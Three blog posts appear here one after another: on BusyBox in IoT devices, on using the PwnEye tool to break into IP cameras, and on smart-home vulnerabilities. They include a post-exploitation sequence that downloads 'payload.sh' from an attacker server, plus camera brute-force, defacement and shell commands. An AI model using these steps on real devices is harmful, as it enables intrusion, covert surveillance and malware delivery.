Welcome back, my aspiring cyberwarriors!

To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.

BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.

In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!

What is BusyBox?

BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.

Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.

History and Development

BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.

The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.

Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.

The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.

Benefits and Advantages

BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:

Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.

Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.

Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.

Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.

Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.

Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.

Why Hackers Should Care?

Portability: BusyBox works on almost any Linux or Unix-like system.

Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.

Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them

Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.

Where BusyBox is Used

Domain	Examples / Usage
Embedded Systems	Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments	Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices	Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems	Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices	Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems	Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.

Essential BusyBox Commands for Hackers

Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting

Command	Purpose
ls	List files and directories
cp	Copy files
mv	Move/rename files
rm	Remove files
cat	View file contents
grep	Search for patterns in files
awk	Pattern scanning and processing
sed	Stream editor for filtering and transforming text
vi	Text editor
wget	Download files from the web
nc	Netcat for networking
ifconfig	Configure network interfaces
ps	List running processes
kill	Send signals to processes
sh	Shell (ash)

Getting Started with BusyBox on Kali Linux

First, verify that BusyBox is installed on your Kali system:

kali> busybox –help

BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:

kali> busybox ps aux

To see all utilities available in your BusyBox installation:

kali> busybox –list

In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:

• Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery

• File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
• System analysis: busybox ps, busybox netstat, and busybox top for system monitoring

• Text processing: busybox sed and busybox cut for parsing command output

Security Considerations and Notable Attacks

While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:

Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.

IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.

Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.

Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.

The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.

Real-World Example

Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;

bash# List users
busybox cat /etc/passwd

# Check network interfaces
busybox ifconfig

# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024

# Download a script or tool
busybox wget http://yourserver/payload.sh

# Get a shell
busybox sh

Summary

As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.

If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.

The post IoT Embedded Linux: BusyBox, the Most Widely Used Linux in IoT first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors. 

Some cameras protect a building, others betray it. Camera hacking isn’t hard, and that’s the problem. These devices are often the most vulnerable in any environment. Once installed, they aren’t maintained until there’s a problem. Many “problems” can go unnoticed if you know how vulnerable cameras are. Hackers can use them for persistence or as an entry point into an organization.

We do have different articles on this topic, but this time there’s something else we want to show. It’s PwnEye. 

PwnEye

PwnEye is a newer tool that didn’t get enough attention yet. It works with both ONVIF and RTSP and that’s pretty much all you need. Once it has compromised a camera, it can reboot it, factory reset and open an interactive shell via ONVIF.

You also black out the operator’s view. Just like in movies. 

Setting Up

Let’s set up the tool. You’ll need ffmpeg first.

kali > sudo apt install ffmpeg

Then install pipx and grab the tool.

kali > sudo apt install pipx 
kali > pipx install git+https://github.com/Hackerest/pwneye.git

Once it’s ready, you can test it:

kali > pwneye -h 

The help menu’s large. The tool can be used to find cameras in a local network with –discover, but it can be pointed at any camera IP. That’s where we’ll start.

ONVIF Attacks 

ONVIF is the protocol that lets cameras from different manufacturers talk to each other without buying the same product. It’s basically a standard, but it’s also an attack vector.

kali > pwneye -t IP

If the camera’s running default or weak credentials, you get access. The tool extracts everything after compromise. Below you can see the network config, MAC address, DNS entries and configured users. DNS entries may sometimes point to interesting internal servers.

Look at the configured user credentials in the output. You’ll use those to get a shell.

The tool also finds snapshots that the camera captures regularly. You can view them in the browser or wait for PwnEye to open the stream. 

Some cameras support deface (black the screen), PTZ movement and factory reset through ONVIF. Not all. Depends on the model.

Finally, once it finishes, you get the stream.

Well, it’s just a bus station. Nothing fancy here.

Defacing Cameras

If the camera supports it, you can deface it.

kali > pwneye -t IP --deface [MESSAGE]

It’s not sophisticated, but it works. 

Shell

That’s probably the most interesting part. Take the credentials from the user profile output and get a shell.

kali > pwneye -t IP -ou admin -op ‘’

Once you’re in, run help and see what it has. Some cameras let you do more than others.

RTSP Attacks

ONVIF compromise is worse than RTSP compromise, but RTSP often works when ONVIF doesn’t. The tool tries both by default, but you can skip ONVIF and go straight to RTSP if you want.

kali > pwneye -t IP -so

The tool has more than 450 credentials built in. You can also try common corporate passwords like Company123 or just Company.

Once it gets credentials, you get the stream.

Summary

Some IP cameras might be accessible from the internet and locally. That means compromising them also gives you a foothold on the internal network. They aren’t upgraded regularly and IoT devices in general lack proper software updates. There are dozens of known CVEs on most camera models. Cameras can be used to proxy through them, attack other hosts or maintain persistence.

There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more. 

The post Camera Hacking: Using PwnEye to Compromise IP Cameras first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

As smart homes become ever more common in our digital world, they have become a favorite target for hackers around the world. We have seen SO many smart home devices compromised and then the hackers use those devices to pivot to other devices connected to the local area network such as phones and laptops.

Smart home devices now include so many devices, such as;

1. Smart TV’s
2. Smart Lighting
3. Smart Garage Door Openers
4. Smart Security Systems
5. Smart Cameras
6. Smart Appliances (Refrigerators, stoves, washers, dryers, etc.)
7. Smart Picture Frames
8. Smart Infotainment Systems
9. …and so many more

Each of these smart devices has a small CPU, small amount of RAM, and a Linux operating system, most commonly BusyBox, due to its very small size. These systems are very often shipped with little aforethought regarding security. This makes them relatively easy to hack and, in many cases, they have embedded backdoors or easily bypassed authentication.

In addition, these devices are often connected to your Wi-Fi, Bluetooth, or Zigbee network. Each of these network types are vulnerable to multiple attack vectors making the entire home and the devices therein vulnerable.

To learn more about Smart Home Hacking, consider purchasing our Smart Home Hacking training.

Here are the most significant security risks documented in recent research and threat reports:

Common Smart Home Vulnerabilities

• Weak or Default Credentials
  • Many smart home devices ship with weak, default, or hardcoded passwords, which attackers can easily guess or find online.
  • Credential stuffing and password reuse across multiple devices leads to widespread compromise.
• Outdated and Unpatched Firmware
  • A high proportion of smart devices run old firmware with known vulnerabilities and rarely receive updates or security patches, leaving them open to exploitation.
  • Supply chain vulnerabilities can introduce malware before devices even reach the consumer (such as Badbox 2.0).
• Vulnerable Network Services and Open Ports
  • Devices expose unnecessary or insecure services to the local network or internet (e.g., Telnet, UPnP, poorly secured web interfaces), facilitating remote exploitation.
  • Automated scanning for open ports is a dominant attack method, accounting for over 93% of blocked events in recent studies.
• Poor Encryption and Data Protection
  • Many smart devices transmit sensitive data (e.g., audio, video, sensor readings) without proper encryption, enabling eavesdropping and privacy breaches.
  • Weak or flawed cryptographic implementations allow attackers to decrypt captured traffic or manipulate device functionality.
• Device Hijacking and Botnets
  • Attackers can take over smart devices, using them as proxies for further attacks (DDoS, ad fraud, credential theft) or as part of large-scale botnets (Mirai, EchoBot, PUMABOT).
  • Compromised devices may serve attacks on other systems without user awareness—sometimes even posing physical safety risks (e.g., hijacked locks or thermostats).
• Privacy and Data Exposure
  • Insecure cameras, microphones, and voice assistants can be used for covert surveillance or to steal sensitive data.
  • Exposed cloud APIs and device “phone home” features can leak data to third parties or attackers.
• Weak Access Controls
  • Poor onboarding, lack of two-factor authentication, flawed pairing mechanisms, and weak authorization checks let attackers gain access to devices or sensitive controls.

Real-World Examples (2025)

This isn’t just theoretical. In recent years, there are been a large number of attacks against smart home devices including;

• Smart TVs (BadBox attack), streaming devices, and IP cameras are currently the most exploited categories, often running on Linux/Android with outdated kernels.
• Malicious firmware (such as BadBOX) pre-installed on consumer devices has led to huge botnets and residential proxy abuse, sometimes before devices are even plugged in by the end user.
• Large-scale privacy violations include attackers publicly streaming home camera footage due to default credentials or unpatched vulnerabilities.

Summary Table

Vulnerability Type	Example Consequence
Default/weak credentials	Easy unauthorized access
Outdated firmware	Exposure to known exploits
Open network services	Remote code execution, botnets
Poor encryption	Data interception, manipulation
Device hijacking/botnets	DDoS, fraud, lateral movement
Weak access controls	Device takeover, privacy breaches
Privacy/data exposure	Surveillance, data theft

Summary

Smart homes are becoming increasingly popular in industrialized countries particularly among higher income households. These smart homes offer the user convenience while offering an enticing target for hackers. If the attacker can compromise even one device within the home, then all of the devices on the home network are at risk!

To learn more about Smart Home Hacking and Security, consider purchasing our Smart Home Hacking training.

The post Smart Home Hacking: Getting Started first appeared on Hackers Arise.